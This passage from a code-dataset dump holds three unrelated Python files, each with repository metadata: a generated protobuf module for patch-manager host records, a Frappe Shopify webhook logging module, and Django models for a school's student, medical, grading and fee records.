_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='patch_manager_host.proto',
package='patch_manager',
syntax='proto3',
serialized_options=_b('ZGgo.easyops.local/contracts/protorepo-models/easyops/model/patch_manager'),
serialized_pb=_b('\n\x18patch_manager_host.proto\x12\rpatch_manager\"\x90\x03\n\x10PatchManagerHost\x12\x12\n\ninstanceId\x18\x01 \x01(\t\x12\x10\n\x08hostname\x18\x02 \x01(\t\x12\n\n\x02ip\x18\x03 \x01(\t\x12\x14\n\x0c_agentStatus\x18\x04 \x01(\t\x12\x14\n\x0c_environment\x18\x05 \x01(\t\x12\x10\n\x08osSystem\x18\x06 \x01(\t\x12\x16\n\x0eosArchitecture\x18\x07 \x01(\t\x12\x11\n\tosVersion\x18\x08 \x01(\t\x12\x11\n\tosRelease\x18\t \x01(\t\x12\x15\n\rrequireReboot\x18\n \x01(\x08\x12\x15\n\rlastStartTime\x18\x0b \x01(\x05\x12\x1c\n\x14lastInstallPatchTime\x18\x0c \x01(\x05\x12\x46\n\x0einstalledPatch\x18\r \x03(\x0b\x32..patch_manager.PatchManagerHost.InstalledPatch\x1a:\n\x0eInstalledPatch\x12\x11\n\tarticleId\x18\x01 \x01(\t\x12\x15\n\rinstalledTime\x18\x02 \x01(\tBIZGgo.easyops.local/contracts/protorepo-models/easyops/model/patch_managerb\x06proto3')
)
_PATCHMANAGERHOST_INSTALLEDPATCH = _descriptor.Descriptor(
name='InstalledPatch',
full_name='patch_manager.PatchManagerHost.InstalledPatch',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='articleId', full_name='patch_manager.PatchManagerHost.InstalledPatch.articleId', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='installedTime', full_name='patch_manager.PatchManagerHost.InstalledPatch.installedTime', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=386,
serialized_end=444,
)
_PATCHMANAGERHOST = _descriptor.Descriptor(
name='PatchManagerHost',
full_name='patch_manager.PatchManagerHost',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='instanceId', full_name='patch_manager.PatchManagerHost.instanceId', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='hostname', full_name='patch_manager.PatchManagerHost.hostname', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='ip', full_name='patch_manager.PatchManagerHost.ip', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='_agentStatus', full_name='patch_manager.PatchManagerHost._agentStatus', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='_environment', full_name='patch_manager.PatchManagerHost._environment', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='osSystem', full_name='patch_manager.PatchManagerHost.osSystem', index=5,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='osArchitecture', full_name='patch_manager.PatchManagerHost.osArchitecture', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='osVersion', full_name='patch_manager.PatchManagerHost.osVersion', index=7,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='osRelease', full_name='patch_manager.PatchManagerHost.osRelease', index=8,
number=9, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=_b("").decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='requireReboot', full_name='patch_manager.PatchManagerHost.requireReboot', index=9,
number=10, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='lastStartTime', full_name='patch_manager.PatchManagerHost.lastStartTime', index=10,
number=11, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='lastInstallPatchTime', full_name='patch_manager.PatchManagerHost.lastInstallPatchTime', index=11,
number=12, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
_descriptor.FieldDescriptor(
name='installedPatch', full_name='patch_manager.PatchManagerHost.installedPatch', index=12,
number=13, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR),
],
extensions=[
],
nested_types=[_PATCHMANAGERHOST_INSTALLEDPATCH, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=44,
serialized_end=444,
)
_PATCHMANAGERHOST_INSTALLEDPATCH.containing_type = _PATCHMANAGERHOST
_PATCHMANAGERHOST.fields_by_name['installedPatch'].message_type = _PATCHMANAGERHOST_INSTALLEDPATCH
DESCRIPTOR.message_types_by_name['PatchManagerHost'] = _PATCHMANAGERHOST
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
PatchManagerHost = _reflection.GeneratedProtocolMessageType('PatchManagerHost', (_message.Message,), {
'InstalledPatch' : _reflection.GeneratedProtocolMessageType('InstalledPatch', (_message.Message,), {
'DESCRIPTOR' : _PATCHMANAGERHOST_INSTALLEDPATCH,
'__module__' : 'patch_manager_host_pb2'
# @@protoc_insertion_point(class_scope:patch_manager.PatchManagerHost.InstalledPatch)
})
,
'DESCRIPTOR' : _PATCHMANAGERHOST,
'__module__' : 'patch_manager_host_pb2'
# @@protoc_insertion_point(class_scope:patch_manager.PatchManagerHost)
})
_sym_db.RegisterMessage(PatchManagerHost)
_sym_db.RegisterMessage(PatchManagerHost.InstalledPatch)
DESCRIPTOR._options = None
# @@protoc_insertion_point(module_scope)
| [
"[email protected]"
] | |
c7f69a99827f9898d781abe688c7d8f36bfcbecd | b08870f8fe7b3cf1bbab3c52a7bacbb36ee1dcc6 | /verp/verp_integrations/doctype/shopify_log/shopify_log.py | d7025f8e8f220fc107ce8a2e605e779ba5b39c99 | [] | no_license | vsadminpk18/verpfinalversion | 7148a64fe6134e2a6371470aceb1b57cc4b5a559 | 93d164b370ad9ca0dd5cda0053082dc3abbd20da | refs/heads/master | 2023-07-13T04:11:59.211046 | 2021-08-27T06:26:48 | 2021-08-27T06:26:48 | 400,410,611 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,244 | py | # -*- coding: utf-8 -*-
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
import json
from frappe.model.document import Document
from verp.verp_integrations.utils import get_webhook_address
class ShopifyLog(Document):
pass
def make_shopify_log(status="Queued", exception=None, rollback=False):
# if name not provided by log calling method then fetch existing queued state log
make_new = False
if not frappe.flags.request_id:
make_new = True
if rollback:
frappe.db.rollback()
if make_new:
log = frappe.get_doc({"doctype":"Shopify Log"}).insert(ignore_permissions=True)
else:
log = log = frappe.get_doc("Shopify Log", frappe.flags.request_id)
log.message = get_message(exception)
log.traceback = frappe.get_traceback()
log.status = status
log.save(ignore_permissions=True)
frappe.db.commit()
def get_message(exception):
message = None
if hasattr(exception, 'message'):
message = exception.message
elif hasattr(exception, '__str__'):
message = exception.__str__()
else:
message = "Something went wrong while syncing"
return message
def dump_request_data(data, event="create/order"):
event_mapper = {
"orders/create": get_webhook_address(connector_name='shopify_connection', method="sync_sales_order", exclude_uri=True),
"orders/paid" : get_webhook_address(connector_name='shopify_connection', method="prepare_sales_invoice", exclude_uri=True),
"orders/fulfilled": get_webhook_address(connector_name='shopify_connection', method="prepare_delivery_note", exclude_uri=True)
}
log = frappe.get_doc({
"doctype": "Shopify Log",
"request_data": json.dumps(data, indent=1),
"method": event_mapper[event]
}).insert(ignore_permissions=True)
frappe.db.commit()
frappe.enqueue(method=event_mapper[event], queue='short', timeout=300, is_async=True,
**{"order": data, "request_id": log.name})
@frappe.whitelist()
def resync(method, name, request_data):
frappe.db.set_value("Shopify Log", name, "status", "Queued", update_modified=False)
frappe.enqueue(method=method, queue='short', timeout=300, is_async=True,
**{"order": json.loads(request_data), "request_id": name})
| [
"[email protected]"
] | |
a7a998efb431ef7988553f1b40f792317a4794ab | 41e7f1b0f6d034dfb188ea7ccc6419d3110e9d90 | /lgms/students/models.py | 6e4140b137fcde3359efd6697ad7f0b24b196c80 | [] | no_license | 42force/lgmsv1 | cbf3881a7a3f047cd0ea8a962883780a73ec13c1 | 2caee52db3914019af01432ddd85703afcd8f73b | refs/heads/master | 2020-03-25T06:13:41.755085 | 2018-08-05T08:51:33 | 2018-08-05T08:51:33 | 143,490,195 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,840 | py | from django.contrib.auth.models import AbstractUser, BaseUserManager, User
from django.db import models
from django.urls import reverse
import django.utils.timezone
from datetime import date
from crispy_forms.helper import FormHelper
from phonenumber_field.modelfields import PhoneNumberField
from django.conf import settings
#signals import
from django.db.models.signals import post_save
#import of star MyRating
from star_ratings.models import Rating, AbstractBaseRating
from djmoney.models.fields import MoneyField
from djmoney.money import Money
from djmoney.models.validators import MaxMoneyValidator, MinMoneyValidator
#to aggregate
from django.db.models import Avg, Max, Sum, Min
class CustomUserManager(models.Manager):
pass
class CustomUser(AbstractUser):
name = models.CharField('Mothers Complete Name', blank=True, max_length=64)
fathersname = models.CharField('Fathers Complete Name', blank=True, max_length=64)
guardiansname = models.CharField('Guardians Complete Name', blank=True, max_length=64)
address = models.CharField('Full Address', max_length=300, blank=True)
dateofbirth = models.DateField('Date of Birth', default=date.today)
studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, blank=False, null=True, editable=True)
dateuserjoined = models.DateTimeField('Date Registered', default=django.utils.timezone.now)
dateupdatedbio = models.DateTimeField('Date Updated', default=django.utils.timezone.now)
mobilenumber = PhoneNumberField('Mobile Number',help_text='MOBILE FORMAT : +639178888888', blank=True)
homenumber = PhoneNumberField('Landline Number', blank=True, help_text='landline : +6328888888')
profilepic = models.ImageField('Profile Picture',upload_to='profile_image', blank=True)
studentbioidinfo = models.ForeignKey('StudentBio', max_length=10, on_delete=models.CASCADE, blank=False, null=True)
typeofapplication = {
('CASA PROGRAM', 'CASA Program'),
('GRADE SCHOOL PROGRAM', 'Grade School Program'),
('JUNIOR HIGH SCHOOL PROGRAM', 'Junior High School Program'),
('SENIOR HIGH SCHOOL PROGRAM', 'Senior High School Program'),
('SPED', 'Special Education Program'),
}
applicationtype = models.CharField(max_length=64, choices=typeofapplication, blank=True, default='CASA PROGRAM', help_text="Choose Application Program")
civilstats = {
('M', 'Married'),
('SP', 'Single Parent'),
('D', 'Divorcee'),
('W', 'Widowed'),
}
civilstatus = models.CharField(max_length=20, choices=civilstats, blank=True, default='M', help_text="Please select Civit Status")
religionchoices = {
('C', 'Catholic'),
('B', 'Buddhist'),
('M', 'Muslim'),
('I', 'INC'),
}
religion = models.CharField(max_length=30, choices=religionchoices, blank=True, default='C', help_text="Please select Religion")
#code for saving user to specific
# def add_view()
def __str__(self):
return '%s' % (self.name)
class Meta:
verbose_name_plural = "Users Information"
class Meta:
ordering = ['name']
# remoed this for the meantime
def create_customuser(sender, **kwargs):
if kwargs['created']:
custom_userprofile = CustomUser.objects.create(user=kwargs['instance'])
post_save.connect(create_customuser, sender=User)
class ParentsInfo(models.Model):
mothersname = models.ForeignKey('CustomUser', max_length=30, on_delete=models.CASCADE, related_name="customuser_fathersname", verbose_name="Mothers Name")
fathersname = models.ForeignKey('CustomUser', max_length=30, on_delete=models.CASCADE, related_name="customuser_mothersname", verbose_name="Fathers Name")
guardiansname = models.CharField('Guardians Name', max_length=64, blank=True)
address = models.CharField('Home Address', max_length=64)
email = models.EmailField('Email Address', max_length=64,default='[email protected]')
mobilenumber = PhoneNumberField(help_text='MOBILE FORMAT : +639178888888')
class Meta:
verbose_name_plural = 'Parents Information'
def __str__(self):
return '%s' % (self.mothersname, self.fathersname)
class Students(models.Model):
studentname = models.CharField('Student Name', max_length=64)
student_id = models.IntegerField('Student ID')
birthday = models.DateField('Date of Birth', default=date.today)
groupchoice = {
('CASA AM', 'CM'),
( 'TEACH AM', 'TEA'),
( 'TEACH PM', 'TEP'),
( 'TEACH PM GRADE 1', 'TEP=GR1'),
( 'TEACH PM GRADE 2', 'TEP-GR2'),
( 'TEACH PM GRADE 3', 'TEP-GR3'),
( 'PLAY GROUP', 'PG'),
( 'CASA AFTERNOON 1:30', 'CA'),
( 'GRADE 1', 'G1'),
( 'GRADE 2', 'G2'),
( 'GRADE 3', 'G3'),
( 'GRADE 4', 'G4'),
( 'GRADE 5', 'G5'),
( 'GRADE 6', 'G6'),
( 'GRADE 7', 'G7'),
( 'GRADE 8', 'G8'),
( 'GRADE 9', 'G9'),
( 'GRADE 10', 'G10')
}
groupinfo = models.CharField(max_length=64, choices=groupchoice, blank=True, default='CASA AM', help_text="Choose Group for Students")
class Meta:
verbose_name_plural = 'Student Lists'
def __str__(self):
return '%s' % (self.studentname)
class Teachers(models.Model):
teachersname = models.CharField('Teachers Name', max_length=64)
email = models.EmailField('Email Address', max_length=64,default='[email protected]')
teachers_id = models.IntegerField('Teachers ID No.', default="1234")
birthday = models.DateField('Date of Birth', default=date.today)
groupinfo = {
('F', 'FACULTY'),
('S', 'STAFF'),
('SH', 'SCHOOL HEAD'),
}
rolegroup = models.CharField(max_length=10, choices=groupinfo, blank=True, default='F', help_text="Please choose Role / Duty")
class Meta:
verbose_name_plural = 'Teachers Info'
def __str__(self):
return '%s with CODE ID: %s' % (self.teachersname, self.teachers_id)
class GradeYear(models.Model):
year = models.CharField('Grade Year', blank=True, max_length=30)
class Meta:
verbose_name_plural = 'Student Grade Year Lists'
def __str__(self):
return '%s' % (self.year)
class Subjects(models.Model):
subjectname = models.CharField('Subject Name', blank=False, max_length=64)
class Meta:
verbose_name_plural = 'Subjects Lists Information'
def __str__(self):
return '%s' % (self.subjectname)
class CharacterBuildingActivities(models.Model):
traitsname = models.CharField('Traits', max_length=64)
def __str__(self):
return '%s' % (self.traitsname)
class Meta:
verbose_name_plural = 'Character Building Activities Traits Lists'
class PresentCondition(models.Model):
user = models.ForeignKey(settings.AUTH_USER_MODEL, max_length=64, on_delete=models.CASCADE, blank=False, null=True, verbose_name=" Parents Name ")
name = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE)
presentconditionchoices = {
('C', 'COLDS'),
('D', 'DIARRHEA'),
('L', 'LBM'),
('CO', 'COUGH'),
('F', 'FEVER'),
('H', 'HEADACHE'),
('S', 'STOMACH ACHE'),
('V', 'VOMITING'),
('0', 'OTHERS'),
}
currentcondition = models.CharField('Current Medical Condition', choices=presentconditionchoices, max_length=64)
conditiondetails = models.TextField('Condition Details', max_length=64, blank=False)
treatmentdetails = models.CharField('Treatment Information', max_length=64)
startperiodofillness = models.DateField('Date Started', default=date.today)
endperiodillness = models.DateField('Date Ended', default=date.today)
def __str__(self):
return '%s' % (self.name)
def get_absolute_url(self):
return reverse('studentbioid', kwargs={'pk' : self.pk})
class Meta:
verbose_name_plural = 'Student Present Condition'
class IllnessInfo(models.Model):
user = models.ForeignKey(settings.AUTH_USER_MODEL, max_length=64, on_delete=models.CASCADE, blank=False, null=True, verbose_name=" Parents Name ")
name = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE)
illchoices = {
('A', 'Allergy'),
('ANE', 'Anemia'),
('AST', 'Asthma'),
('DP', 'Dermatology Problem'),
('DM', 'Diabetes Mellitus'),
('EP', 'Ear Problems'),
('GP', 'Gastrointestinal Problems'),
('HP', 'Heart Problem'),
('HMP', 'Hematologic Problem'),
('HT', 'Hypertension'),
('LP', 'Lung Problem'),
('MP', 'Metabolc Problem'),
('SZ', 'Seizures'),
('CV', 'Convulsion'),
('EPL', 'Epilepsy'),
('TP', 'Thyroid Problem'),
('VP', 'Viral Infection'),
('O', 'Others')
}
illnessinfo = models.CharField('Illness Information', choices=illchoices, default="A",max_length=64)
illnessdetails = models.TextField('Details of Illness', max_length=300)
treatmentdetails = models.CharField('Treatment Details', max_length=64, help_text="If under treatment, please indicate dosage of drug")
startperiodofillness = models.DateField('Date Started', default=date.today)
endperiodillness = models.DateField('Date Ended', default=date.today)
def __str__(self):
return '%s' % (self.name)
#createview in views.py testing
def get_absolute_url(self):
return reverse('studentbioid', kwargs={'pk' : self.pk})
class Meta:
verbose_name_plural = 'Student Illness Information'
class HospitalInfo(models.Model):
user = models.ForeignKey(settings.AUTH_USER_MODEL, max_length=64, on_delete=models.CASCADE, blank=False, null=True, verbose_name=" Parents Name ")
name = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE)
reasonforhospital = models.CharField('Reason for Hospitalisation', max_length=64)
hospitalisationdetails = models.TextField('Hospitalization Details', max_length=300)
treatmentdetails = models.CharField('Treatment Details', max_length=64, help_text="If under treatment, please indicate dosage of drug")
startperiodofillness = models.DateField('Date Started', default=date.today)
endperiodillness = models.DateField('Date Ended', default=date.today)
def __str__(self):
return '%s' % (self.name)
def get_absolute_url(self):
return reverse('studentbioid', kwargs={'pk' : self.pk})
class Meta:
verbose_name_plural = 'Student Hospital Info'
class AccidentInfo(models.Model):
user = models.ForeignKey(settings.AUTH_USER_MODEL, max_length=64, on_delete=models.CASCADE, blank=False, null=True, verbose_name=" Parents Name ")
name = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE)
accidentdetails = models.TextField('Accident Details', max_length=300)
treatmentdetails = models.CharField('Treatment Details', max_length=64, help_text="If under treatment, please indicate dosage of drug")
startperiodofillness = models.DateField('Date Started', default=date.today)
endperiodillness = models.DateField('Date Ended', default=date.today)
def __str__(self):
return '%s' % (self.name)
def get_absolute_url(self):
return reverse('studentbioid', kwargs={'pk' : self.pk})
class Meta:
verbose_name_plural = 'Student Accident Information'
class ImmunisationInfo(models.Model):
user = models.ForeignKey(settings.AUTH_USER_MODEL, max_length=64, on_delete=models.CASCADE, blank=False, null=True, verbose_name=" Parents Name ")
name = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE)
immunisationchoices = (
('NONE', 'NONE'),
('BCG', 'BCG'),
('DPT1', 'DPT1'),
('DPT2', 'DPT2'),
('DPT3', 'DPT3'),
('DPTB1', 'DPT Booster 1'),
('DPTB2', 'DPT Booster 2'),
('DPTB3', 'DPT Booster 3 range 13-19 years old'),
('POLIO 1','PLIO1'),
('POLIO2', 'PLIO2'),
('POLIO3', 'PLIO3'),
('POLIO BOOSTER 1', 'POLIO BOOSTER 1'),
('POLIO BOOSTER 2', 'POLIO BOOSTER 2'),
('HIB1', 'HIB 1'),
('HIB2', 'HIB 2'),
('HIB3', 'HIB 3'),
('HIB BOOSTER', 'HIB BOOSTER'),
('MEASLES', 'MEASLES'),
('MMR', 'MMR'),
('MMRB', 'MMRB'),
('HEPATITIS B1', 'HEPATITIS B1'),
('HEPATITIS B2', 'HEPATITIS B2'),
('HEPATITIS B3', 'HEPATITIS B3'),
('HEPATITIS B BOOSTER', 'HEPATITIS B BOOSTER'),
('HEPATITIS A1', 'HEPATITIS A1'),
('HEPATITIS A2', 'HEPATITIS A2'),
('VARICELLA - CHICKEN POX', 'VARICELLA - CHICKEN POX'),
('INFLUENZA', 'INFLUENZA'),
('TYPHOID', 'TYPHOID'),
)
immuneinfo = models.CharField('Immunisation Choices', choices=immunisationchoices, default="NONE",max_length=64)
immunedetails = models.TextField('Immunisation Details', max_length=300, null=True, blank=True)
treatmentdetails = models.CharField('Treatment Details', null=True, blank=True, max_length=64, help_text="If under treatment, please indicate dosage of drug")
startperiodofimmune = models.DateField('Date Started', default=date.today)
endperiodimmune = models.DateField('Date Ended', default=date.today)
def __str__(self):
return '%s : %s ' % (self.name, self.immuneinfo)
def get_absolute_url(self):
return reverse('studentbioid', kwargs={'pk' : self.pk})
class Meta:
verbose_name_plural = 'Student Accident Immunisation Info'
class StudentBio(models.Model):
user = models.ForeignKey(settings.AUTH_USER_MODEL, max_length=64, on_delete=models.CASCADE, blank=False, null=True)
# username = models.ForeignKey(settings.AUTH_USER_MODEL, related_name="user_username", on_delete=models.CASCADE, blank=True, null=True)
#username = models.OneToOneField('CustomUser', max_length=64, on_delete=models.CASCADE, blank=True, null=True, verbose_name="Primary User Info")
studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE)
#parentsnameinfo = models.CharField('Parents Information', max_length=64, blank=True)
momsname = models.CharField('Mothers Name', max_length=64, blank=True)
popsname = models.CharField('Fathers Name', max_length=64, blank=True)
guardiansname = models.CharField('Guardians Name', max_length=64, blank=True)
gradeyear = models.ForeignKey('GradeYear', max_length=30, on_delete=models.CASCADE, related_name="gradeyear_gradeyear", verbose_name="Grade Year")
teachersname = models.ManyToManyField('Teachers', verbose_name="Teachers Name")
#we might omit this.
subjects = models.ManyToManyField('Subjects', verbose_name="List of Subjects", related_name="subjectslist")
charactersets = models.ManyToManyField('CharacterBuildingActivities', verbose_name="Character Sets")
profilepic = models.ImageField('Student Profile Picture',upload_to='profile_image', blank=True)
#test to connect to financial statement of account - still need to modify table starting from here..
financialinfo = models.ForeignKey('StatementAccount', verbose_name="Statement of Account", on_delete=models.CASCADE, max_length=64, blank=True, null=True)
class Meta:
verbose_name_plural = "Student Profile"
class Meta:
ordering = ['gradeyear']
def __str__(self):
return '%s : %s' % (self.id, self.studentname)
class StudentGrades(models.Model):
studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, verbose_name="Student Name")
teachersname = models.ForeignKey('Teachers', max_length=64, on_delete=models.CASCADE, verbose_name=" Teachers Name")
subjectname = models.ForeignKey('Subjects', max_length=64, on_delete=models.CASCADE, verbose_name="Subject Name")
grade = {
('76', 'B'),
('77-81','D'),
('82-86','AP'),
('87-91','P'),
('92-96','A'),
('97-100','E'),
}
grades = models.CharField('Grading System', choices=grade, default="B", max_length=64, help_text="Choose appropriate marks")
dateperiod = models.DateField('Date Info Period', default=date.today)
class Meta:
verbose_name_plural = "Grades Records of Students"
class CharacterRatings(models.Model):
studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, verbose_name="Student Name")
charactersets = models.ForeignKey('CharacterBuildingActivities', max_length=64, on_delete=models.CASCADE, verbose_name=" Character Activities")
guidelinesscore = {
('EXCELLENT', 'E'),
('VERY GOOD', 'VG'),
('GOOD', 'G'),
('FAIR / PASSED', 'F'),
('NEEDS IMPROVEMENT', 'NI'),
('UNSATISFACTORY / FAILED', 'U')
}
chargrades = models.CharField('Character Rates', choices=guidelinesscore, max_length=64, blank=False, default="EXCELLENT", help_text="Choose the appropriate grade")
dateadded = models.DateField('Date Started', default=date.today)
class Meta:
verbose_name_plural = "Character Building Activities Records"
class ObservationLists(models.Model):
traitsname = models.CharField('Traits', max_length=300)
def __str__(self):
return '%s' % (self.traitsname)
class Meta:
verbose_name_plural = "PAGUNLAD LISTS"
class CharacterObservation(models.Model):
studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, verbose_name="Student Name")
observationsets = models.ForeignKey('ObservationLists', max_length=64, on_delete=models.CASCADE, verbose_name=" Character Activities")
observegrades = models.CharField('Character Rates', max_length=10, blank=False, default="G")
dateadded = models.DateField('Date added', default=date.today)
class Meta:
verbose_name_plural = "PAGUNLAD SA TAGLAY NA MGA PAGPAPAHALAGA AT SALOOBIN LISTS"
class TestRating(AbstractBaseRating):
#studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, verbose_name="Student Name")
foo = models.CharField(max_length=64)
#observationsets = models.ForeignKey('ObservationLists', max_length=64, on_delete=models.CASCADE, verbose_name=" Character Activities")
class StatementAccount(models.Model):
studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, verbose_name="Student Name DB")
gradeyear = models.ForeignKey('GradeYear', max_length=30, on_delete=models.CASCADE, related_name="statement_gradeyear", verbose_name="Grade Year")
term = {
('A', 'ANNUAL'),
('SA', 'SEMI-ANNUAL'),
('QRT', 'QUARTERLY'),
('PLAN D', 'PLAN D - 6 MONTH PAYMENT'),
}
modeofpayment = models.CharField('Mode of Payment', choices=term, default="A", max_length=64, help_text="Choose Terms of Payment")
modeofpaymenttotal = models.IntegerField('Mode Payment Total', default="1234")
#
# def getterms(self):
# return self.modeofpayment + self.modeofpaymenttotal
modeofpaymentprice = MoneyField('Mode of Payment Price', max_digits=20, decimal_places=4, default_currency='PHP')
musicclassprice = MoneyField('Music Class Price', max_digits=20, decimal_places=4, default_currency='PHP')
bookspricetotal = MoneyField('Books Price Total', max_digits=20, decimal_places=4, default_currency='PHP')
notebooks = MoneyField('Notebook Price', max_digits=20, decimal_places=4, default_currency='PHP')
uniforms = MoneyField('Uniform Price',max_digits=20, decimal_places=4, default_currency='PHP')
other = MoneyField('Miscellaneous & Others', max_digits=20, decimal_places=4, default_currency='PHP')
# def computetotal(self):
# return self.musicclassprice + self.bookspricetotal + self.notebooks + self.uniforms + self.other
totalprice = models.IntegerField('Total Payment Price', default="1234")
reservationfee = MoneyField('Reservation Fee', max_digits=20, decimal_places=4, default_currency='PHP')
discount = MoneyField('Discount Fee', max_digits=20, decimal_places=4, default_currency='PHP')
gtotal = models.IntegerField('Grand Total Price', default="1234")
# def calculate():
def __str__(self):
return '%s %s' % (self.studentname, self.gtotal)
class Meta:
verbose_name_plural = "Statement of Account"
class Compute(models.Model):
studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, verbose_name="Student Name")
testpayment1 = models.DecimalField('Mode of Payment', max_digits=20, decimal_places=2)
testpayment2 = models.DecimalField('Mode of Payment Price', max_digits=20, decimal_places=2)
# gtotal = property(gettotal)
#
#
# @property
# def gettotal(self):
# return '%s : %s' % self.testpayment1 * self.testpayment2
class Meta:
verbose_name_plural = "Computation Test Only"
# class CharacterTagalogRatings(models.Model):
# studentname = models.ForeignKey('Students', max_length=64, on_delete=models.CASCADE, verbose_name="Student Name"
# #sample rating
# class MyRating(AbstractBaseRating):
# foo = models.TextField()
#testing of User profile
# class NewUsersList(models.Model):
# newuserlist = users.*
#
# class Students(models.Model):
# parents = models.OneToOneField('CustomUser', max_length=30, on_delete=models.CASCADE, related_name="parents_name")
# childsname = models.ForeignKey('CustomUser', max_length=30, on_delete=models.CASCADE, related_name="childs_name")
#
#
# def __str__(self):
# return "%s %s" % (self.parents, self.childsname)
#
# class Meta:
# verbose_name_plural = 'Students Name and Info'
# #
#
# class Children(models.Model):
# children = models.ForeignKey('Parents', max_length=30, on_delete=models.CASCADE, blank=True)
#
# def __str__(self):
# return '%s' % (self.children)
#
# class Meta:
# verbose_name_plural = 'Childrens Information'
#
#
#
#
#
#
#
#
# class AssessmentStudents(models.Model):
# studentsname = models.CharField('Student Name', max_length=64)
# status = models.CharField('Current Status of Student', max_length=64)
# assessmentinfo = models.CharField('Assessment Info', max_length=64)
#
# class Meta:
# verbose_name_plural = 'Students Assessments Info'
#
#
# # class GuidelinesTraits():
# # guidelinesscorechoices = {
# # ('E', 'EXCELLENT'),
# # ('VG', 'VERY GOOD'),
# # ('G', 'GOOD'),
# # ('F', 'FAIR or PASSED'),
# # ('NI', 'NEEDS IMPROVEMENT'),
# # ('U', 'UNSATISFACTORY'),
# # }
# #
# # guidelinesscore = models.CharField(max_length=30, choices=guidelinesscorechoices, blank=True, default='E', help_text="Please select Guidelines Score")
# #
# #
#
#
